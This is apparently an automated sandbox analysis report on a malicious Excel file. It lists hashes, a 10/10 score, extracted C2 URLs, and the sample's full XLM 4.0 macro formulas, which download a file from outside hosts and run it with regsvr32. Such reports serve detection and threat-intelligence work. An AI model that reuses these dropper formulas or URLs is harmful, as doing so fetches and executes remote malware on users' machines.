General

  • Target

    19478075ae37db9605469e4401f12efbab9177f3759fc1272dfff87fa1a7bba6

  • Size

    46KB

  • Sample

    241120-2k4enazjfk

  • MD5

    ce6b6a7740f29f3a6521b26e2d51784d

  • SHA1

    3e71e76b0211e369368580f2080af5002db848d9

  • SHA256

    19478075ae37db9605469e4401f12efbab9177f3759fc1272dfff87fa1a7bba6

  • SHA512

    6504dc9f1a54cf5c5570c05818b2fd66a312fcca4d3976b5e2e07b28eac6744854e76f280b78ca04c55ad9b4305d55a9d6525d98ee49c808bb0e911b81307332

  • SSDEEP

    768:qo9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:qo9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

https://aplicativos.xyz/apk/49Wq5MN/

http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/

http://prevozkop.rs/qnov/n017r0EEa/

https://businessandhr.com/w/xrB/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aplicativos.xyz/apk/49Wq5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://prevozkop.rs/qnov/n017r0EEa/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://businessandhr.com/w/xrB/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

xlm40.dropper

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

Targets

    • Target

      19478075ae37db9605469e4401f12efbab9177f3759fc1272dfff87fa1a7bba6

    • Size

      46KB

    • MD5

      ce6b6a7740f29f3a6521b26e2d51784d

    • SHA1

      3e71e76b0211e369368580f2080af5002db848d9

    • SHA256

      19478075ae37db9605469e4401f12efbab9177f3759fc1272dfff87fa1a7bba6

    • SHA512

      6504dc9f1a54cf5c5570c05818b2fd66a312fcca4d3976b5e2e07b28eac6744854e76f280b78ca04c55ad9b4305d55a9d6525d98ee49c808bb0e911b81307332

    • SSDEEP

      768:qo9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:qo9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks